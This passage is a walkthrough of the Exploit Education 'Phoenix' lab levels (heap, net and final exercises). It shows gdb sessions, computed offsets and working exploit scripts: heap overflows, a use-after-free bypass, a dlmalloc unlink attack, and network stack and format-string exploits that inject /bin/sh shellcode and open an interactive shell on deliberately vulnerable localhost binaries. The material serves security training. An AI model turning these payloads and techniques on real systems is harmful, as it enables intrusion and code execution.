0x080488af <+72>: call 0x8049146 <malloc>
0x080488b4 <+77>: add esp,0x10
0x080488b7 <+80>: mov DWORD PTR [ebp-0xc],eax
0x080488ba <+83>: sub esp,0xc
0x080488bd <+86>: push 0x40
0x080488bf <+88>: call 0x8049146 <malloc>
0x080488c4 <+93>: add esp,0x10
0x080488c7 <+96>: mov DWORD PTR [ebp-0x10],eax
0x080488ca <+99>: mov eax,DWORD PTR [ebp-0x10]
[...]
=> 0x080488e3 <+124>: call 0x80485b0 <strcpy@plt>
[...]
End of assembler dump.
gef➤ b *main+124
Breakpoint 1 at 0x80488e3
gef➤ r AAAA
Starting program: /opt/phoenix/i486/heap-zero AAAA
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
We check value of d
(ebp-0x10
) and f
(ebp-0xc
), and a distance between them.
Breakpoint 1, 0x080488e3 in main ()
gef➤ x/x $ebp-0x10
0xffffcff8: 0xf7e69050
gef➤ x/x $ebp-0xc
0xffffcffc: 0xf7e69008
gef➤ print/d 0xf7e69050 - 0xf7e69008
$5 = 72
So sending more than 72 bytes should override the function pointer fp
. Let’s check it with 74 * "A" + "BBBB"
gef➤ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Starting program: /opt/phoenix/i486/heap-zero AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x42424242
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
It works, so BBBB
can be replaced with a desired address.
gef➤ print &winner
$6 = (<text variable, no debug info> *) 0x8048835 <winner>
user@phoenix-amd64:~$ /opt/phoenix/i486/heap-zero `python -c "print 'A' * 72 + '\x35\x88\x04\x08'"`
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level
Heap One
In this exercise we can overwrite objects on a heap, but this time no function pointer is in use.
[...]
struct heapStructure {
int priority;
char *name;
};
[...]
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
[...]
We can exploit the fact that strcpy
is called twice, for two objects on the heap. It is possible to abuse first invocation to overflow a buffer i1->name
and overwrite value in i2.name
. Next, a second user controlled parameter is written to i2->name
, and as we may control to which address name
points we can write any value to any address. We just need to know an offset for overflow and an address where printf
kept by .plt
.
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/heap-one
gef➤ disas main
Dump of assembler code for function main:
[...]
0x0804884d <+120>: mov eax,DWORD PTR [ebp-0xc]
0x08048850 <+123>: mov eax,DWORD PTR [eax+0x4]
0x08048853 <+126>: sub esp,0x8
0x08048856 <+129>: push edx
0x08048857 <+130>: push eax
0x08048858 <+131>: call 0x8048560 <strcpy@plt>
[...]
0x08048868 <+147>: mov eax,DWORD PTR [ebp-0x10]
0x0804886b <+150>: mov eax,DWORD PTR [eax+0x4]
0x0804886e <+153>: sub esp,0x8
0x08048871 <+156>: push edx
0x08048872 <+157>: push eax
0x08048873 <+158>: call 0x8048560 <strcpy@plt>
[...]
gef➤ b *main+131
Breakpoint 1 at 0x8048858
ebp-0xc
is i1
and ebp-0x10
is i2
.
gef➤ x/x $ebp-0xc
0xffffd11c: 0xf7e69008
gef➤ x/x 0xf7e69008 + 4
0xf7e6900c: 0xf7e69018
gef➤ x/x $ebp-0x10
0xffffd118: 0xf7e69028
gef➤ print/x 0xf7e69028+0x4
$0 = 0xf7e6902c
gef➤ print/d 0xf7e6902c-0xf7e69018
$1 = 20
gef➤ print &winner
$3 = (<text variable, no debug info> *) 0x804889a <winner>
Joining it together.
user@phoenix-amd64:~$ /opt/phoenix/i486/heap-one `python -c 'print "A"*20 + "\x40\xc1\x04\x08"'` `python -c 'print "\x9a\x88\x04\x08"'`
Congratulations, you've completed this level @ 1572169324 seconds past the Epoch
Heap Two
Here we have possibility to exploit use after free kind of bug, which will allow us to pass authentication.
When free
is called the application still uses freed memory, and this address may be additionally reused by strdup
.
user@phoenix-amd64:~$ /opt/phoenix/i486/heap-two
Welcome to phoenix/heap-two, brought to you by https://exploit.education
[ auth = 0, service = 0 ]
auth a
[ auth = 0x8049af0, service = 0 ]
reset
[ auth = 0x8049af0, service = 0 ]
service aaaaaa
[ auth = 0x8049af0, service = 0x8049af0 ]
login
you have logged in already!
[ auth = 0x8049af0, service = 0x8049af0 ]
Heap Three
Good explanation what happens here:
- https://blog.lamarranet.com/index.php/exploit-education-phoenix-heap-three-solution/
- https://www.lucas-bader.com/ctf/2019/05/02/heap3
Important parts of code:
#define MAX_FAST_SIZE 80
[...]
#define chunk_at_offset(p, s) ((mchunkptr)(((char*)(p)) + (s)))
[...]
#define unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD; \
}
[...]
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
};
[...]
if ((CHUNK_SIZE_T)(size) <= (CHUNK_SIZE_T)(av->max_fast)
[...]
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
}
Addresses of user data in chunks (returned by malloc
):
a - 0xf7e69008
b - 0xf7e69030
c - 0xf7e69058
gef➤ x/i 0x80485b0
0x80485b0 <puts@plt>: jmp DWORD PTR ds:0x804c13c
gef➤ x/x 0x804c13c
0x804c13c <puts@got.plt>: 0xf7fb88ee
gef➤ print winner
$15 = {<text variable, no debug info>} 0x80487d5 <winner>
A = "aaaa" # anything, skipped
A += "\xb8\xd5\x87\x04\x08\xff\xe0" # shellcode: mov eax, 0x080487d5; jmp eax
B = "B"*32
B += "\xfc\xff\xff\xff"
B += "\xb0\xff\xff\xff"
C = "XXXX" # anything, skipped
C += "\x30\xc1\x04\x08" # address of puts@got.plt - 12 bytes
C += "\x0c\x90\xe6\xf7" # address of shellcode
print A + " " + B + " " + C
As a second argument more than 32 bytes are passed. First exceeding 4 bytes overwrites prev_size
in chunk C. prev_size
value is treated as a signed long (0xfffffffc
-> 4294967292
-> -4
) and negated what makes it 4
. Then, this value is added to a current chunk’s address (0xf7e69050
) what makes p
(0xf7e69054
). In unlink
: to FD
value 0x0804c130
is set, and 0xf7e6900c
to BK
. Next, FD.bk
points to 0x804c13c
address which keeps a pointer to puts
. This pointer is overwritten with BK
(0xf7e6900c
) which is an address of the shellcode. BK.fd
points to 0xf7e69014
- to this address FD
value is written, and it would broke the exploit if the shellcode was 9 or more bytes long. Second exceeding 4 bytes allow to pass initial size check (before unlink
is executed) as 0xffffffb0
becomes 4294967216
which is more than max size for fastbin.
gef➤ b *free
Breakpoint 1 at 0x8049857
gef➤ b *main+187
Breakpoint 2 at 0x80488b7
gef➤ r $(python th.py)
Starting program: /opt/phoenix/i486/heap-three $(python heap-three.py)
Breakpoint 1, 0x08049857 in free ()
gef➤ x/32x 0xf7e69000
0xf7e69000: 0x00000000 0x00000029 0x61616161 0x0487d5b8
0xf7e69010: 0x00e0ff08 0x00000000 0x00000000 0x00000000
0xf7e69020: 0x00000000 0x00000000 0x00000000 0x00000029
0xf7e69030: 0x42424242 0x42424242 0x42424242 0x42424242
0xf7e69040: 0x42424242 0x42424242 0x42424242 0x42424242
0xf7e69050: 0xfffffffc 0xffffffb0 0x58585858 0x0804c130
0xf7e69060: 0xf7e6900c 0x00000000 0x00000000 0x00000000
0xf7e69070: 0x00000000 0x00000000 0x00000000 0x000fff89
gef➤ x/x 0x804c13c
0x804c13c <puts@got.plt>: 0xf7fb88ee
gef➤
Continuing.
Breakpoint 2, 0x080488b7 in main ()
gef➤ x/32x 0xf7e69000
0xf7e69000: 0xffffffac 0x00000028 0xf7e69028 0x0487d5b8
0xf7e69010: 0x00e0ff08 0x0804c130 0x00000000 0x00000000
0xf7e69020: 0x00000000 0x00000000 0x00000000 0x00000029
0xf7e69030: 0x00000000 0x42424242 0x42424242 0x42424242
0xf7e69040: 0x42424242 0x42424242 0x42424242 0x42424242
0xf7e69050: 0xfffffffc 0xffffffb0 0xffffffad 0x0804c1f4
0xf7e69060: 0x0804c1f4 0x00000000 0x00000000 0x00000000
0xf7e69070: 0x00000000 0x00000000 0x00000000 0x000fff89
gef➤ x/x 0x804c13c
0x804c13c <puts@got.plt>: 0xf7e6900c
user@phoenix-amd64:~$ /opt/phoenix/i486/heap-three `python heap-three.py`
Level was successfully completed at @ 1572295810 seconds past the Epoch
Net
Net Zero
import socket
import time
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64010))
while True:
t = s.recv(128)
print t
n = t.split("'")
if len(n) > 1:
n = n[1]
print "Received: " + n + " (hex: " + "".join("\\x{:02x}".format(ord(c)) for c in n) + ")"
u = struct.pack("<I", int(n))
print "As unsigned int (hex): " + "".join("\\x{:02x}".format(ord(c)) for c in u)
s.send(u)
time.sleep(0.5)
print s.recv(64)
break
Welcome to phoenix/net-zero, brought to you by https://exploit.education
Please send '1658418750' as a little endian, 32bit inte
Received: 1658418750 (hex: \x31\x36\x35\x38\x34\x31\x38\x37\x35\x30)
As unsigned int (hex): \x3e\x76\xd9\x62
ger.
You have successfully passed this level, well done!
The application sends the number written as string (ascii). It must be converted to a number and then to bytes with little endian order.
Net One
import socket
import time
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64011))
time.sleep(0.5)
t = s.recv(128)
print t
n = t.split("\n")[1]
print "Received: " + "".join("\\x{:02x}".format(ord(c)) for c in n)
c = str(struct.unpack("<I", n)[0])
print "As unsigned int: " + c
s.send(c + "\r\n")
time.sleep(0.5)
print s.recv(128)
The application sends the number encoded as bytes in little endian order. It must be converted to int, then to string and sent back.
user@phoenix-amd64:~$ python n1.py
Welcome to phoenix/net-one, brought to you by https://exploit.education
ߋ�x
Received: \xdf\x8b\x92\x78
As unsigned int: 2022869983
Congratulations, you've passed this level!
Net Two
import socket
import time
import struct
def ashex(b):
return "".join("\\x{:02x}".format(ord(c)) for c in b)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64012))
i = ""
while True:
i += s.recv(128)
if i[-1] == "\n":
break
total = 0
for i in range(0,4):
a = s.recv(4)
print "Received: " + ashex(a)
total = long(total + struct.unpack("<L", a)[0])
total = total & 0xffffffff
p = struct.pack("<L", total)
print "Total: " + str(total) + ", hex: " + ashex(str(p))
s.send(p)
time.sleep(0.5)
print s.recv(1024)
This time the application sends 4 longs which must be summed up and sent back. As numeric values don’t overflow in python, we must remove exceeding bytes.
user@phoenix-amd64:~$ python n2.py
Received: \x1e\x0e\x86\x96
Received: \xcc\x0a\x7d\x4c
Received: \xfb\x8d\xb5\x45
Received: \xe4\xfd\xf9\x78
Total: 2712839369, hex: \xc9\xa4\xb2\xa1
You have successfully passed this level, well done!
Final
Final Zero
This final exercise is very similar to the stack five exercise, but this time we communicate over a network. We can create a pattern which helps in finding an offset and cause a crash just using a nc
.
root@kali:~# msf-pattern_create -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
root@phoenix-amd64:/var/lib/coredumps# gdb -c core.final-zero.11.7752
Core was generated by `/opt/phoenix/i486/final-zero'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x72413772 in ?? ()
gef➤ x/s 0xffffdb18
0xffffdb18: "AA0AA1AA2AA3AA4AA5AA6AA7AA8AA9AB0AB1AB2AB3AB4AB5AB6AB7AB8AB9AC0AC1AC2AC3AC4AC5AC6AC7AC8AC9AD0AD1AD2AD3AD4AD5AD6AD7AD8AD9AE0AE1AE2AE3AE4AE5AE6AE7AE8AE9AF0AF1AF2AF3AF4AF5AF6AF7AF8AF9AG0AG1AG2AG3AG4AG5AG6AG7AG8AG9AH0AH1AH2AH3AH4AH5AH6AH7AH8AH9AI0AI1AI2AI3AI4AI5AI6AI7AI8AI9AJ0AJ1AJ2AJ3AJ4AJ5AJ6AJ7AJ8AJ9AK0AK1AK2AK3AK4AK5AK6AK7AK8AK9AL0AL1AL2AL3AL4AL5AL6AL7AL8AL9AM0AM1AM2AM3AM4AM5AM6AM7AM8AM9AN0AN1AN2AN3AN4AN5AN6AN7AN8AN9AO0AO1AO2AO3AO4AO5AO6AO7AO8AO9AP0AP1AP2AP3AP4AP5AP6AP7AP8AP9AQ0AQ1AQ2AQ3AQ4AQ5AQ6AQ7AQ8AQ9AR"
root@kali:~# python -c 'print "72413772".decode("hex")'
rA7r
root@kali:~# msf-pattern_offset -l 600 -q r7Ar
[*] Exact match at offset 532
This information is enough to develop an exploit. Shellcode was generated using pwntools what was the idea from https://www.lucas-bader.com/ctf/2019/07/12/final0.
pwnlib.asm.asm(pwnlib.shellcraft.i386.linux.sh())
import socket
import time
offset = 532
p = "AAAAAAA\r"
p += "\x90" * 4
p += 'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
p += "\x90" * (offset - len(p))
p += "\x20\xdb\xff\xff" # 0xffffdb18 + 8
p += "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64013))
print s.recv(1024)
s.sendall(p)
while True:
cmd = raw_input("$ ")
s.sendall(cmd + "\n")
print s.recv(1024)
s.close()
user@phoenix-amd64:~$ python fin0.py
Welcome to phoenix/final-zero, brought to you by https://exploit.education
$ id
uid=519(phoenix-i386-final-zero) gid=519(phoenix-i386-final-zero) groups=519(phoenix-i386-final-zero)
Final One
This exercise is focused on exploitation string formatting vulnerability. Like in Heap three it is required to overwrite GOT entry (of gets
) to redirect execution to own shellcode, but this time it has to be done over a network.
For debugging we can initiate connection, and when script waits on raw_input
we can attach a debugger.
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64014))
print s.recv(1024)
raw_input("continue...")
p = "username A"
s.sendall(p + "\n")
print s.recv(1024)
raw_input("continue...")
p = "login A"
s.sendall(p + "\n")
print s.recv(1024)
# gdb -p `ps aux | grep "[f]inal-one" | tr -s ' ' | cut -d ' ' -f 2`
gef➤ b *logit+66
Breakpoint 1 at 0x8048827
Breakpoint is set on a flawed execution of fprintf
. When the breakpoint hits, we can examine memory to find out that we need to skip 10 parameters, where password buffer is allocated and where gets
address is kept.
gef➤ x/16x $esp
0xffffd480: 0x08049010 0xffffd490 0x00000000 0x00000000
0xffffd490: 0x69676f4c 0x7266206e 0x31206d6f 0x302e3732
0xffffd4a0: 0x312e302e 0x3733353a 0x61203630 0x415b2073
0xffffd4b0: 0x41414141 0x41414141 0x41414141 0x41414141
gef➤ x/s 0xffffd490
0xffffd490: "Login from 127.0.0.1:53706 as [", 'A' <repeats 32 times>, "] with password [", 'B' <repeats 32 times>, "]\n"
gef➤ x/x $ebp+8
0xffffdca0: 0xffffdcb6
gef➤ x/s 0xffffdcb6
0xffffdcb6: 'B' <repeats 32 times>
gef➤ x/i 0x8048570
0x8048570 <fgets@plt>: jmp DWORD PTR ds:0x8049e50
gef➤ x/x 0x8049e50
0x8049e50 <fgets@got.plt>: 0xf7fb647e
With these details we can prepare the rest of the exploit. For calculation of byte to write it is assumed that it’s always executed from 127.0.0.1
and a 5 digit port.
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 64014))
print s.recv(1024)
raw_input("continue...")
p = "username A"
p += "\x58\x9e\x04\x08"
p += "AAAA\x59\x9e\x04\x08AAAA\x5a\x9e\x04\x08\x5b\x9e\x04\x08" + "%013x" * 9 + "%09x" + "%hhn" + "%038x" + "%hhn" + "%035x" + "%hhn%hhn"
s.sendall(p + "\n")
print s.recv(1024)
raw_input("continue...")
p = "login "
p += 'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
s.sendall(p + "\n")
while True:
p = raw_input("$ ")
s.sendall(p + "\n")
print s.recv(1024)
user@phoenix-amd64:~$ python fin1.py
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $
continue...
[final1] $
continue...
$ id
uid=520(phoenix-i386-final-one) gid=520(phoenix-i386-final-one) groups=520(phoenix-i386-final-one)